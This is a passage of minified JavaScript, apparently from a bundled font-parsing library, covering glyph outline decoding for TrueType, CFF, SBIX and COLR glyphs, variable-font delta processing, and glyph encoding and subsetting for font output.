ligatureCaretPositions(){}_getName(){let{post:t}=this._font;if(!t)return null;switch(t.version){case 1:return _x[this.id];case 2:let r=t.glyphNameIndex[this.id];return r&lt;_x.length?_x[r]:t.names[r-_x.length];case 2.5:return _x[this.id+t.offsets[this.id]];case 4:return String.fromCharCode(t.map[this.id])}}get name(){return this._getName()}render(t,r){t.save();let n=1/this._font.head.unitsPerEm*r;t.scale(n,n),this.path.toFunction()(t),t.fill(),t.restore()}constructor(t,r,n){this.id=t,this.codePoints=r,this._font=n,this.isMark=this.codePoints.length&gt;0&amp;&amp;this.codePoints.every(nB),this.isLigature=this.codePoints.length&gt;1}}fl([hl],Yd.prototype,&quot;cbox&quot;,null);fl([hl],Yd.prototype,&quot;bbox&quot;,null);fl([hl],Yd.prototype,&quot;path&quot;,null);fl([hl],Yd.prototype,&quot;advanceWidth&quot;,null);fl([hl],Yd.prototype,&quot;advanceHeight&quot;,null);fl([hl],Yd.prototype,&quot;name&quot;,null);let qT=new ct({numberOfContours:Ht,xMin:Ht,yMin:Ht,xMax:Ht,yMax:Ht});const qye=1,Gye=2,Vye=4,Wye=8,Kye=16,Yye=32,Zye=1,Jye=8,GT=32,Xye=64,e2e=128,t2e=256;class _0{copy(){return new _0(this.onCurve,this.endContour,this.x,this.y)}constructor(t,r,n=0,i=0){this.onCurve=t,this.endContour=r,this.x=n,this.y=i}}class r2e{constructor(t,r,n){this.glyphID=t,this.dx=r,this.dy=n,this.pos=0,this.scaleX=this.scaleY=1,this.scale01=this.scale10=0}}class eE extends Yd{_getCBox(t){if(this._font._variationProcessor&amp;&amp;!t)return this.path.cbox;let r=this._font._getTableStream(&quot;glyf&quot;);r.pos+=this._font.loca.offsets[this.id];let n=qT.decode(r),i=new Qm(n.xMin,n.yMin,n.xMax,n.yMax);return Object.freeze(i)}_parseGlyphCoord(t,r,n,i){if(n){var s=t.readUInt8();i||(s=-s),s+=r}else if(i)var s=r;else var s=r+t.readInt16BE();return s}_decode(){let t=this._font.loca.offsets[this.id],r=this._font.loca.offsets[this.id+1];if(t===r)return null;let n=this._font._getTableStream(&quot;glyf&quot;);n.pos+=t;let i=n.pos,s=qT.decode(n);return s.numberOfContours&gt;0?this._decodeSimple(s,n):s.numberOfContours&lt;0&amp;&amp;this._decodeComposite(s,n,i),s}_decodeSimple(t,r){t.points=[];let n=new Ye(Y,t.numberOfContours).decode(r);t.instructions=new Ye(lr,Y).decode(r);let i=[],s=n[n.length-1]+1;for(;i.length&lt;s;){var o=r.readUInt8();if(i.push(o),o&amp;Wye){let u=r.readUInt8();for(let h=0;h&lt;u;h++)i.push(o)}}for(var l=0;l&lt;i.length;l++){var o=i[l];let h=new _0(!!(o&amp;qye),n.indexOf(l)&gt;=0,0,0);t.points.push(h)}let c=0;for(var l=0;l&lt;i.length;l++){var o=i[l];t.points[l].x=c=this._parseGlyphCoord(r,c,o&amp;Gye,o&amp;Kye)}let d=0;for(var l=0;l&lt;i.length;l++){var o=i[l];t.points[l].y=d=this._parseGlyphCoord(r,d,o&amp;Vye,o&amp;Yye)}if(this._font._variationProcessor){let u=t.points.slice();u.push(...this._getPhantomPoints(t)),this._font._variationProcessor.transformPoints(this.id,u),t.phantomPoints=u.slice(-4)}}_decodeComposite(t,r,n=0){t.components=[];let i=!1,s=GT;for(;s&amp;GT;){s=r.readUInt16BE();let d=r.pos-n,u=r.readUInt16BE();if(i||(i=(s&amp;t2e)!==0),s&amp;Zye)var o=r.readInt16BE(),l=r.readInt16BE();else var o=r.readInt8(),l=r.readInt8();var c=new r2e(u,o,l);c.pos=d,s&amp;Jye?c.scaleX=c.scaleY=(r.readUInt8()&lt;&lt;24|r.readUInt8()&lt;&lt;16)/1073741824:s&amp;Xye?(c.scaleX=(r.readUInt8()&lt;&lt;24|r.readUInt8()&lt;&lt;16)/1073741824,c.scaleY=(r.readUInt8()&lt;&lt;24|r.readUInt8()&lt;&lt;16)/1073741824):s&amp;e2e&amp;&amp;(c.scaleX=(r.readUInt8()&lt;&lt;24|r.readUInt8()&lt;&lt;16)/1073741824,c.scale01=(r.readUInt8()&lt;&lt;24|r.readUInt8()&lt;&lt;16)/1073741824,c.scale10=(r.readUInt8()&lt;&lt;24|r.readUInt8()&lt;&lt;16)/1073741824,c.scaleY=(r.readUInt8()&lt;&lt;24|r.readUInt8()&lt;&lt;16)/1073741824),t.components.push(c)}if(this._font._variationProcessor){let d=[];for(let u=0;u&lt;t.components.length;u++){var c=t.components[u];d.push(new _0(!0,!0,c.dx,c.dy))}d.push(...this._getPhantomPoints(t)),this._font._variationProcessor.transformPoints(this.id,d),t.phantomPoints=d.splice(-4,4);for(let u=0;u&lt;d.length;u++){let h=d[u];t.components[u].dx=h.x,t.components[u].dy=h.y}}return i}_getPhantomPoints(t){let r=this._getCBox(!0);this._metrics==null&amp;&amp;(this._metrics=Yd.prototype._getMetrics.call(this,r));let{advanceWidth:n,advanceHeight:i,leftBearing:s,topBearing:o}=this._metrics;return[new _0(!1,!0,t.xMin-s,0),new _0(!1,!0,t.xMin-s+n,0),new _0(!1,!0,0,t.yMax+o),new _0(!1,!0,0,t.yMax+o+i)]}_getContours(){let t=this._decode();if(!t)return[];let r=[];if(t.numberOfContours&lt;0)for(let o of t.components){let l=this._font.getGlyph(o.glyphID)._getContours();for(let c=0;c&lt;l.length;c++){let d=l[c];for(let u=0;u&lt;d.length;u++){let h=d[u],p=h.x*o.scaleX+h.y*o.scale01+o.dx,A=h.y*o.scaleY+h.x*o.scale10+o.dy;r.push(new _0(h.onCurve,h.endContour,p,A))}}}else r=t.points||[];t.phantomPoints&amp;&amp;!this._font.directory.tables.HVAR&amp;&amp;(this._metrics.advanceWidth=t.phantomPoints[1].x-t.phantomPoints[0].x,this._metrics.advanceHeight=t.phantomPoints[3].y-t.phantomPoints[2].y,this._metrics.leftBearing=t.xMin-t.phantomPoints[0].x,this._metrics.topBearing=t.phantomPoints[2].y-t.yMax);let n=[],i=[];for(let o=0;o&lt;r.length;o++){var s=r[o];i.push(s),s.endContour&amp;&amp;(n.push(i),i=[])}return n}_getMetrics(){if(this._metrics)return this._metrics;let t=this._getCBox(!0);return super._getMetrics(t),this._font._variationProcessor&amp;&amp;!this._font.HVAR&amp;&amp;this.path,this._metrics}_getPath(){let t=this._getContours(),r=new Y1;for(let i=0;i&lt;t.length;i++){let s=t[i],o=s[0],l=s[s.length-1],c=0;if(o.onCurve){var n=null;c=1}else{l.onCurve?o=l:o=new _0(!1,!1,(o.x+l.x)/2,(o.y+l.y)/2);var n=o}r.moveTo(o.x,o.y);for(let d=c;d&lt;s.length;d++){let u=s[d],h=d===0?o:s[d-1];if(h.onCurve&amp;&amp;u.onCurve)r.lineTo(u.x,u.y);else if(h.onCurve&amp;&amp;!u.onCurve)var n=u;else if(!h.onCurve&amp;&amp;!u.onCurve){let A=(h.x+u.x)/2,y=(h.y+u.y)/2;r.quadraticCurveTo(h.x,h.y,A,y);var n=u}else if(!h.onCurve&amp;&amp;u.onCurve){r.quadraticCurveTo(n.x,n.y,u.x,u.y);var n=null}else throw new Error(&quot;Unknown TTF path state&quot;)}n&amp;&amp;r.quadraticCurveTo(n.x,n.y,o.x,o.y),r.closePath()}return r}constructor(...t){super(...t),Bc(this,&quot;type&quot;,&quot;TTF&quot;)}}class n2e extends Yd{_getName(){return this._font.CFF2?super._getName():this._font[&quot;CFF &quot;].getGlyphName(this.id)}bias(t){return t.length&lt;1240?107:t.length&lt;33900?1131:32768}_getPath(){let t=this._font.CFF2||this._font[&quot;CFF &quot;],{stream:r}=t,n=t.topDict.CharStrings[this.id],i=n.offset+n.length;r.pos=n.offset;let s=new Y1,o=[],l=[],c=null,d=0,u=0,h=0,p,A,y=!1;this._usedGsubrs=p={},this._usedSubrs=A={};let v=t.globalSubrIndex||[],w=this.bias(v),j=t.privateDictForGlyph(this.id)||{},E=j.Subrs||[],S=this.bias(E),_=t.topDict.vstore&amp;&amp;t.topDict.vstore.itemVariationStore,C=j.vsindex,Q=this._font._variationProcessor;function R(){c==null&amp;&amp;(c=o.shift()+j.nominalWidthX)}function T(){return o.length%2!==0&amp;&amp;R(),d+=o.length&gt;&gt;1,o.length=0}function M($,P){y&amp;&amp;s.closePath(),s.moveTo($,P),y=!0}let O=function(){for(;r.pos&lt;i;){let L=r.readUInt8();if(L&lt;32){let X,W,G,J,q,ee,ne,V,ue,de,xe,_e,Ce,we,ve,Ne;switch(L){case 1:case 3:case 18:case 23:T();break;case 4:o.length&gt;1&amp;&amp;R(),h+=o.shift(),M(u,h);break;case 5:for(;o.length&gt;=2;)u+=o.shift(),h+=o.shift(),s.lineTo(u,h);break;case 6:case 7:for(G=L===6;o.length&gt;=1;)G?u+=o.shift():h+=o.shift(),s.lineTo(u,h),G=!G;break;case 8:for(;o.length&gt;0;)J=u+o.shift(),q=h+o.shift(),ee=J+o.shift(),ne=q+o.shift(),u=ee+o.shift(),h=ne+o.shift(),s.bezierCurveTo(J,q,ee,ne,u,h);break;case 10:if(X=o.pop()+S,W=E[X],W){A[X]=!0;let Ie=r.pos,be=i;r.pos=W.offset,i=W.offset+W.length,O(),r.pos=Ie,i=be}break;case 11:if(t.version&gt;=2)break;return;case 14:if(t.version&gt;=2)break;o.length&gt;0&amp;&amp;R(),y&amp;&amp;(s.closePath(),y=!1);break;case 15:if(t.version&lt;2)throw new Error(&quot;vsindex operator not supported in CFF v1&quot;);C=o.pop();break;case 16:{if(t.version&lt;2)throw new Error(&quot;blend operator not supported in CFF v1&quot;);if(!Q)throw new Error(&quot;blend operator in non-variation font&quot;);let Ie=Q.getBlendVector(_,C),be=o.pop(),Re=be*Ie.length,Pe=o.length-Re,Ke=Pe-be;for(let tt=0;tt&lt;be;tt++){let pt=o[Ke+tt];for(let dt=0;dt&lt;Ie.length;dt++)pt+=Ie[dt]*o[Pe++];o[Ke+tt]=pt}for(;Re--;)o.pop();break}case 19:case 20:T(),r.pos+=d+7&gt;&gt;3;break;case 21:o.length&gt;2&amp;&amp;R(),u+=o.shift(),h+=o.shift(),M(u,h);break;case 22:o.length&gt;1&amp;&amp;R(),u+=o.shift(),M(u,h);break;case 24:for(;o.length&gt;=8;)J=u+o.shift(),q=h+o.shift(),ee=J+o.shift(),ne=q+o.shift(),u=ee+o.shift(),h=ne+o.shift(),s.bezierCurveTo(J,q,ee,ne,u,h);u+=o.shift(),h+=o.shift(),s.lineTo(u,h);break;case 25:for(;o.length&gt;=8;)u+=o.shift(),h+=o.shift(),s.lineTo(u,h);J=u+o.shift(),q=h+o.shift(),ee=J+o.shift(),ne=q+o.shift(),u=ee+o.shift(),h=ne+o.shift(),s.bezierCurveTo(J,q,ee,ne,u,h);break;case 26:for(o.length%2&amp;&amp;(u+=o.shift());o.length&gt;=4;)J=u,q=h+o.shift(),ee=J+o.shift(),ne=q+o.shift(),u=ee,h=ne+o.shift(),s.bezierCurveTo(J,q,ee,ne,u,h);break;case 27:for(o.length%2&amp;&amp;(h+=o.shift());o.length&gt;=4;)J=u+o.shift(),q=h,ee=J+o.shift(),ne=q+o.shift(),u=ee+o.shift(),h=ne,s.bezierCurveTo(J,q,ee,ne,u,h);break;case 28:o.push(r.readInt16BE());break;case 29:if(X=o.pop()+w,W=v[X],W){p[X]=!0;let Ie=r.pos,be=i;r.pos=W.offset,i=W.offset+W.length,O(),r.pos=Ie,i=be}break;case 30:case 31:for(G=L===31;o.length&gt;=4;)G?(J=u+o.shift(),q=h,ee=J+o.shift(),ne=q+o.shift(),h=ne+o.shift(),u=ee+(o.length===1?o.shift():0)):(J=u,q=h+o.shift(),ee=J+o.shift(),ne=q+o.shift(),u=ee+o.shift(),h=ne+(o.length===1?o.shift():0)),s.bezierCurveTo(J,q,ee,ne,u,h),G=!G;break;case 12:switch(L=r.readUInt8(),L){case 3:let Ie=o.pop(),be=o.pop();o.push(Ie&amp;&amp;be?1:0);break;case 4:Ie=o.pop(),be=o.pop(),o.push(Ie||be?1:0);break;case 5:Ie=o.pop(),o.push(Ie?0:1);break;case 9:Ie=o.pop(),o.push(Math.abs(Ie));break;case 10:Ie=o.pop(),be=o.pop(),o.push(Ie+be);break;case 11:Ie=o.pop(),be=o.pop(),o.push(Ie-be);break;case 12:Ie=o.pop(),be=o.pop(),o.push(Ie/be);break;case 14:Ie=o.pop(),o.push(-Ie);break;case 15:Ie=o.pop(),be=o.pop(),o.push(Ie===be?1:0);break;case 18:o.pop();break;case 20:let Re=o.pop(),Pe=o.pop();l[Pe]=Re;break;case 21:Pe=o.pop(),o.push(l[Pe]||0);break;case 22:let Ke=o.pop(),tt=o.pop(),pt=o.pop(),dt=o.pop();o.push(pt&lt;=dt?Ke:tt);break;case 23:o.push(Math.random());break;case 24:Ie=o.pop(),be=o.pop(),o.push(Ie*be);break;case 26:Ie=o.pop(),o.push(Math.sqrt(Ie));break;case 27:Ie=o.pop(),o.push(Ie,Ie);break;case 28:Ie=o.pop(),be=o.pop(),o.push(be,Ie);break;case 29:Pe=o.pop(),Pe&lt;0?Pe=0:Pe&gt;o.length-1&amp;&amp;(Pe=o.length-1),o.push(o[Pe]);break;case 30:let Oe=o.pop(),Pt=o.pop();if(Pt&gt;=0)for(;Pt&gt;0;){var $=o[Oe-1];for(let Jt=Oe-2;Jt&gt;=0;Jt--)o[Jt+1]=o[Jt];o[0]=$,Pt--}else for(;Pt&lt;0;){var $=o[0];for(let Bt=0;Bt&lt;=Oe;Bt++)o[Bt]=o[Bt+1];o[Oe-1]=$,Pt++}break;case 34:J=u+o.shift(),q=h,ee=J+o.shift(),ne=q+o.shift(),V=ee+o.shift(),ue=ne,de=V+o.shift(),xe=ue,_e=de+o.shift(),Ce=xe,we=_e+o.shift(),ve=Ce,u=we,h=ve,s.bezierCurveTo(J,q,ee,ne,V,ue),s.bezierCurveTo(de,xe,_e,Ce,we,ve);break;case 35:Ne=[];for(let Jt=0;Jt&lt;=5;Jt++)u+=o.shift(),h+=o.shift(),Ne.push(u,h);s.bezierCurveTo(...Ne.slice(0,6)),s.bezierCurveTo(...Ne.slice(6)),o.shift();break;case 36:J=u+o.shift(),q=h+o.shift(),ee=J+o.shift(),ne=q+o.shift(),V=ee+o.shift(),ue=ne,de=V+o.shift(),xe=ue,_e=de+o.shift(),Ce=xe+o.shift(),we=_e+o.shift(),ve=Ce,u=we,h=ve,s.bezierCurveTo(J,q,ee,ne,V,ue),s.bezierCurveTo(de,xe,_e,Ce,we,ve);break;case 37:let Kt=u,gt=h;Ne=[];for(let Jt=0;Jt&lt;=4;Jt++)u+=o.shift(),h+=o.shift(),Ne.push(u,h);Math.abs(u-Kt)&gt;Math.abs(h-gt)?(u+=o.shift(),h=gt):(u=Kt,h+=o.shift()),Ne.push(u,h),s.bezierCurveTo(...Ne.slice(0,6)),s.bezierCurveTo(...Ne.slice(6));break;default:throw new Error(`Unknown op: 12 ${L}`)}break;default:throw new Error(`Unknown op: ${L}`)}}else if(L&lt;247)o.push(L-139);else if(L&lt;251){var P=r.readUInt8();o.push((L-247)*256+P+108)}else if(L&lt;255){var P=r.readUInt8();o.push(-(L-251)*256-P-108)}else o.push(r.readInt32BE()/65536)}};return O(),y&amp;&amp;s.closePath(),s}constructor(...t){super(...t),Bc(this,&quot;type&quot;,&quot;CFF&quot;)}}let i2e=new ct({originX:Y,originY:Y,type:new Di(4),data:new cl(e=&gt;e.parent.buflen-e._currentOffset)});class a2e extends eE{getImageForSize(t){for(let o=0;o&lt;this._font.sbix.imageTables.length;o++){var r=this._font.sbix.imageTables[o];if(r.ppem&gt;=t)break}let n=r.imageOffsets,i=n[this.id],s=n[this.id+1];return i===s?null:(this._font.stream.pos=i,i2e.decode(this._font.stream,{buflen:s-i}))}render(t,r){let n=this.getImageForSize(r);if(n!=null){let i=r/this._font.unitsPerEm;t.image(n.data,{height:r,x:n.originX,y:(this.bbox.minY-n.originY)*i})}this._font.sbix.flags.renderOutlines&amp;&amp;super.render(t,r)}constructor(...t){super(...t),Bc(this,&quot;type&quot;,&quot;SBIX&quot;)}}class VT{constructor(t,r){this.glyph=t,this.color=r}}class s2e extends Yd{_getBBox(){let t=new Qm;for(let r=0;r&lt;this.layers.length;r++){let i=this.layers[r].glyph.bbox;t.addPoint(i.minX,i.minY),t.addPoint(i.maxX,i.maxY)}return t}get layers(){let t=this._font.CPAL,r=this._font.COLR,n=0,i=r.baseGlyphRecord.length-1;for(;n&lt;=i;){let u=n+i&gt;&gt;1;var s=r.baseGlyphRecord[u];if(this.id&lt;s.gid)i=u-1;else if(this.id&gt;s.gid)n=u+1;else{var o=s;break}}if(o==null){var l=this._font._getBaseGlyph(this.id),c={red:0,green:0,blue:0,alpha:255};return[new VT(l,c)]}let d=[];for(let u=o.firstLayerIndex;u&lt;o.firstLayerIndex+o.numLayers;u++){var s=r.layerRecords[u],c=t.colorRecords[s.paletteIndex],l=this._font._getBaseGlyph(s.gid);d.push(new VT(l,c))}return d}render(t,r){for(let{glyph:n,color:i}of this.layers)t.fillColor([i.red,i.green,i.blue],i.alpha/255*100),n.render(t,r)}constructor(...t){super(...t),Bc(this,&quot;type&quot;,&quot;COLR&quot;)}}const o2e=32768,l2e=4095,c2e=32768,WT=16384,u2e=8192,KT=4095,YT=128,ZT=127,d2e=128,f2e=64,h2e=63;class m2e{normalizeCoords(t){let r=[];for(var n=0;n&lt;this.font.fvar.axis.length;n++){let i=this.font.fvar.axis[n];t[n]&lt;i.defaultValue?r.push((t[n]-i.defaultValue+Number.EPSILON)/(i.defaultValue-i.minValue+Number.EPSILON)):r.push((t[n]-i.defaultValue+Number.EPSILON)/(i.maxValue-i.defaultValue+Number.EPSILON))}if(this.font.avar)for(var n=0;n&lt;this.font.avar.segment.length;n++){let s=this.font.avar.segment[n];for(let o=0;o&lt;s.correspondence.length;o++){let l=s.correspondence[o];if(o&gt;=1&amp;&amp;r[n]&lt;l.fromCoord){let c=s.correspondence[o-1];r[n]=((r[n]-c.fromCoord)*(l.toCoord-c.toCoord)+Number.EPSILON)/(l.fromCoord-c.fromCoord+Number.EPSILON)+c.toCoord;break}}}return r}transformPoints(t,r){if(!this.font.fvar||!this.font.gvar)return;let{gvar:n}=this.font;if(t&gt;=n.glyphCount)return;let i=n.offsets[t];if(i===n.offsets[t+1])return;let{stream:s}=this.font;if(s.pos=i,s.pos&gt;=s.length)return;let o=s.readUInt16BE(),l=i+s.readUInt16BE();if(o&amp;o2e){var c=s.pos;s.pos=l;var d=this.decodePoints();l=s.pos,s.pos=c}let u=r.map(w=&gt;w.copy());o&amp;=l2e;for(let w=0;w&lt;o;w++){let j=s.readUInt16BE(),E=s.readUInt16BE();if(E&amp;c2e){var h=[];for(let T=0;T&lt;n.axisCount;T++)h.push(s.readInt16BE()/16384)}else{if((E&amp;KT)&gt;=n.globalCoordCount)throw new Error(&quot;Invalid gvar table&quot;);var h=n.globalCoords[E&amp;KT]}if(E&amp;WT){var p=[];for(let T=0;T&lt;n.axisCount;T++)p.push(s.readInt16BE()/16384);var A=[];for(let T=0;T&lt;n.axisCount;T++)A.push(s.readInt16BE()/16384)}let S=this.tupleFactor(E,h,p,A);if(S===0){l+=j;continue}var c=s.pos;if(s.pos=l,E&amp;u2e)var y=this.decodePoints();else var y=d;let C=y.length===0?r.length:y.length,Q=this.decodeDeltas(C),R=this.decodeDeltas(C);if(y.length===0)for(let T=0;T&lt;r.length;T++){var v=r[T];v.x+=Math.round(Q[T]*S),v.y+=Math.round(R[T]*S)}else{let T=u.map(O=&gt;O.copy()),M=r.map(()=&gt;!1);for(let O=0;O&lt;y.length;O++){let $=y[O];if($&lt;r.length){let P=T[$];M[$]=!0,P.x+=Q[O]*S,P.y+=R[O]*S}}this.interpolateMissingDeltas(T,u,M);for(let O=0;O&lt;r.length;O++){let $=T[O].x-u[O].x,P=T[O].y-u[O].y;r[O].x=Math.round(r[O].x+$),r[O].y=Math.round(r[O].y+P)}}l+=j,s.pos=c}}decodePoints(){let t=this.font.stream,r=t.readUInt8();r&amp;YT&amp;&amp;(r=(r&amp;ZT)&lt;&lt;8|t.readUInt8());let n=new Uint16Array(r),i=0,s=0;for(;i&lt;r;){let o=t.readUInt8(),l=(o&amp;ZT)+1,c=o&amp;YT?t.readUInt16:t.readUInt8;for(let d=0;d&lt;l&amp;&amp;i&lt;r;d++)s+=c.call(t),n[i++]=s}return n}decodeDeltas(t){let r=this.font.stream,n=0,i=new Int16Array(t);for(;n&lt;t;){let s=r.readUInt8(),o=(s&amp;h2e)+1;if(s&amp;d2e)n+=o;else{let l=s&amp;f2e?r.readInt16BE:r.readInt8;for(let c=0;c&lt;o&amp;&amp;n&lt;t;c++)i[n++]=l.call(r)}}return i}tupleFactor(t,r,n,i){let s=this.normalizedCoords,{gvar:o}=this.font,l=1;for(let c=0;c&lt;o.axisCount;c++)if(r[c]!==0){if(s[c]===0)return 0;if((t&amp;WT)===0){if(s[c]&lt;Math.min(0,r[c])||s[c]&gt;Math.max(0,r[c]))return 0;l=(l*s[c]+Number.EPSILON)/(r[c]+Number.EPSILON)}else{if(s[c]&lt;n[c]||s[c]&gt;i[c])return 0;s[c]&lt;r[c]?l=l*(s[c]-n[c]+Number.EPSILON)/(r[c]-n[c]+Number.EPSILON):l=l*(i[c]-s[c]+Number.EPSILON)/(i[c]-r[c]+Number.EPSILON)}}return l}interpolateMissingDeltas(t,r,n){if(t.length===0)return;let i=0;for(;i&lt;t.length;){let s=i,o=i,l=t[o];for(;!l.endContour;)l=t[++o];for(;i&lt;=o&amp;&amp;!n[i];)i++;if(i&gt;o)continue;let c=i,d=i;for(i++;i&lt;=o;)n[i]&amp;&amp;(this.deltaInterpolate(d+1,i-1,d,i,r,t),d=i),i++;d===c?this.deltaShift(s,o,d,r,t):(this.deltaInterpolate(d+1,o,d,c,r,t),c&gt;0&amp;&amp;this.deltaInterpolate(s,c-1,d,c,r,t)),i=o+1}}deltaInterpolate(t,r,n,i,s,o){if(t&gt;r)return;let l=[&quot;x&quot;,&quot;y&quot;];for(let d=0;d&lt;l.length;d++){let u=l[d];if(s[n][u]&gt;s[i][u]){var c=n;n=i,i=c}let h=s[n][u],p=s[i][u],A=o[n][u],y=o[i][u];if(h!==p||A===y){let v=h===p?0:(y-A)/(p-h);for(let w=t;w&lt;=r;w++){let j=s[w][u];j&lt;=h?j+=A-h:j&gt;=p?j+=y-p:j=A+(j-h)*v,o[w][u]=j}}}}deltaShift(t,r,n,i,s){let o=s[n].x-i[n].x,l=s[n].y-i[n].y;if(!(o===0&amp;&amp;l===0))for(let c=t;c&lt;=r;c++)c!==n&amp;&amp;(s[c].x+=o,s[c].y+=l)}getAdvanceAdjustment(t,r){let n,i;if(r.advanceWidthMapping){let s=t;s&gt;=r.advanceWidthMapping.mapCount&amp;&amp;(s=r.advanceWidthMapping.mapCount-1),r.advanceWidthMapping.entryFormat,{outerIndex:n,innerIndex:i}=r.advanceWidthMapping.mapData[s]}else n=0,i=t;return this.getDelta(r.itemVariationStore,n,i)}getDelta(t,r,n){if(r&gt;=t.itemVariationData.length)return 0;let i=t.itemVariationData[r];if(n&gt;=i.deltaSets.length)return 0;let s=i.deltaSets[n],o=this.getBlendVector(t,r),l=0;for(let c=0;c&lt;i.regionIndexCount;c++)l+=s.deltas[c]*o[c];return l}getBlendVector(t,r){let n=t.itemVariationData[r];if(this.blendVectors.has(n))return this.blendVectors.get(n);let i=this.normalizedCoords,s=[];for(let o=0;o&lt;n.regionIndexCount;o++){let l=1,c=n.regionIndexes[o],d=t.variationRegionList.variationRegions[c];for(let u=0;u&lt;d.length;u++){let h=d[u],p;h.startCoord&gt;h.peakCoord||h.peakCoord&gt;h.endCoord||h.startCoord&lt;0&amp;&amp;h.endCoord&gt;0&amp;&amp;h.peakCoord!==0||h.peakCoord===0?p=1:i[u]&lt;h.startCoord||i[u]&gt;h.endCoord?p=0:i[u]===h.peakCoord?p=1:i[u]&lt;h.peakCoord?p=(i[u]-h.startCoord+Number.EPSILON)/(h.peakCoord-h.startCoord+Number.EPSILON):p=(h.endCoord-i[u]+Number.EPSILON)/(h.endCoord-h.peakCoord+Number.EPSILON),l*=p}s[o]=l}return this.blendVectors.set(n,s),s}constructor(t,r){this.font=t,this.normalizedCoords=this.normalizeCoords(r),this.blendVectors=new Map}}Promise.resolve();class iq{includeGlyph(t){return typeof t==&quot;object&quot;&amp;&amp;(t=t.id),this.mapping[t]==null&amp;&amp;(this.glyphs.push(t),this.mapping[t]=this.glyphs.length-1),this.mapping[t]}constructor(t){this.font=t,this.glyphs=[],this.mapping={},this.includeGlyph(0)}}const p2e=1,g2e=2,A2e=4,x2e=8,v2e=16,y2e=32;class JT{static size(t){return t&gt;=0&amp;&amp;t&lt;=255?1:2}static encode(t,r){r&gt;=0&amp;&amp;r&lt;=255?t.writeUInt8(r):t.writeInt16BE(r)}}let XT=new ct({numberOfContours:Ht,xMin:Ht,yMin:Ht,xMax:Ht,yMax:Ht,endPtsOfContours:new Ye(Y,&quot;numberOfContours&quot;),instructions:new Ye(lr,Y),flags:new Ye(lr,0),xPoints:new Ye(JT,0),yPoints:new Ye(JT,0)});class b2e{encodeSimple(t,r=[]){let n=[],i=[],s=[],o=[],l=0,c=0,d=0,u=0,h=0;for(let j=0;j&lt;t.commands.length;j++){let E=t.commands[j];for(let S=0;S&lt;E.args.length;S+=2){let _=E.args[S],C=E.args[S+1],Q=0;if(E.command===&quot;quadraticCurveTo&quot;&amp;&amp;S===2){let R=t.commands[j+1];if(R&amp;&amp;R.command===&quot;quadraticCurveTo&quot;){let T=(c+R.args[0])/2,M=(d+R.args[1])/2;if(_===T&amp;&amp;C===M)continue}}E.command===&quot;quadraticCurveTo&quot;&amp;&amp;S===0||(Q|=p2e),Q=this._encodePoint(_,c,i,Q,g2e,v2e),Q=this._encodePoint(C,d,s,Q,A2e,y2e),Q===u&amp;&amp;l&lt;255?(o[o.length-1]|=x2e,l++):(l&gt;0&amp;&amp;(o.push(l),l=0),o.push(Q),u=Q),c=_,d=C,h++}E.command===&quot;closePath&quot;&amp;&amp;n.push(h-1)}t.commands.length&gt;1&amp;&amp;t.commands[t.commands.length-1].command!==&quot;closePath&quot;&amp;&amp;n.push(h-1);let p=t.bbox,A={numberOfContours:n.length,xMin:p.minX,yMin:p.minY,xMax:p.maxX,yMax:p.maxY,endPtsOfContours:n,instructions:r,flags:o,xPoints:i,yPoints:s},y=XT.size(A),v=4-y%4,w=new Aw(y+v);return XT.encode(w,A),v!==0&amp;&amp;w.fill(0,v),w.buffer}_encodePoint(t,r,n,i,s,o){let l=t-r;return t===r?i|=o:(-255&lt;=l&amp;&amp;l&lt;=255&amp;&amp;(i|=s,l&lt;0?l=-l:i|=o),n.push(l)),i}}class w2e extends iq{_addGlyph(t){let r=this.font.getGlyph(t),n=r._decode(),i=this.font.loca.offsets[t],s=this.font.loca.offsets[t+1],o=this.font._getTableStream(&quot;glyf&quot;);o.pos+=i;let l=o.readBuffer(s-i);if(n&amp;&amp;n.numberOfContours&lt;0){l=new Uint8Array(l);let c=new DataView(l.buffer);for(let d of n.components)t=this.includeGlyph(d.glyphID),c.setUint16(d.pos,t)}else n&amp;&amp;this.font._variationProcessor&amp;&amp;(l=this.glyphEncoder.encodeSimple(r.path,n.instructions));return this.glyf.push(l),this.loca.offsets.push(this.offset),this.hmtx.metrics.push({advance:r.advanceWidth,bearing:r._getMetrics().leftBearing}),this.offset+=l.length,this.glyf.length-1}encode(){this.glyf=[],this.offset=0,this.loca={offsets:[],version:this.font.loca.version},this.hmtx={metrics:[],bearings:[]};let t=0;for(;t&lt;this.glyphs.length;)this._addGlyph(this.glyphs[t++]);let r=UI(this.font.maxp);r.numGlyphs=this.glyf.length,this.loca.offsets.push(this.offset);let n=UI(this.font.head);n.indexToLocFormat=this.loca.version;let i=UI(this.font.hhea);return i.numberOfMetrics=this.hmtx.metrics.length,VH.toBuffer({tables:{head:n,hhea:i,loca:this.loca,maxp:r,&quot;cvt &quot;:this.font[&quot;cvt &quot;],prep:this.font.prep,glyf:this.glyf,hmtx:this.hmtx,fpgm:this.font.fpgm}})}constructor(t){super(t),this.glyphEncoder=new b2e}}class E2e extends iq{subsetCharstrings(){this.charstrings=[];let t={};for(let r of this.glyphs){this.charstrings.push(this.cff.getCharString(r));let n=this.font.getGlyph(r);n.path;for(let i in n._usedGsubrs)t[i]=!0}this.gsubrs=this.subsetSubrs(this.cff.globalSubrIndex,t)}subsetSubrs(t,r){let n=[];for(let i=0;i&lt;t.length;i++){let s=t[i];r[i]?(this.cff.stream.pos=s.offset,n.push(this.cff.stream.readBuffer(s.length))):n.push(new Uint8Array([11]))}return n}subsetFontdict(t){t.FDArray=[],t.FDSelect={version:0,fds:[]};let r={},n=[],i={};for(let s of this.glyphs){let o=this.cff.fdForGlyph(s);if(o==null)continue;r[o]||(t.FDArray.push(Object.assign({},this.cff.topDict.FDArray[o])),n.push({}),i[o]=t.FDArray.length-1),r[o]=!0,t.FDSelect.fds.push(i[o]);let l=this.font.getGlyph(s);l.path;for(let c in l._usedSubrs)n[i[o]][c]=!0}for(let s=0;s&lt;t.FDArray.length;s++){let o=t.FDArray[s];delete o.FontName,o.Private&amp;&amp;o.Private.Subrs&amp;&amp;(o.Private=Object.assign({},o.Private),o.Private.Subrs=this.subsetSubrs(o.Private.Subrs,n[s]))}}createCIDFontdict(t){let r={};for(let i of this.glyphs){let s=this.font.getGlyph(i);s.path;for(let o in s._usedSubrs)r[o]=!0}let n=Object.assign({},this.cff.topDict.Private);return 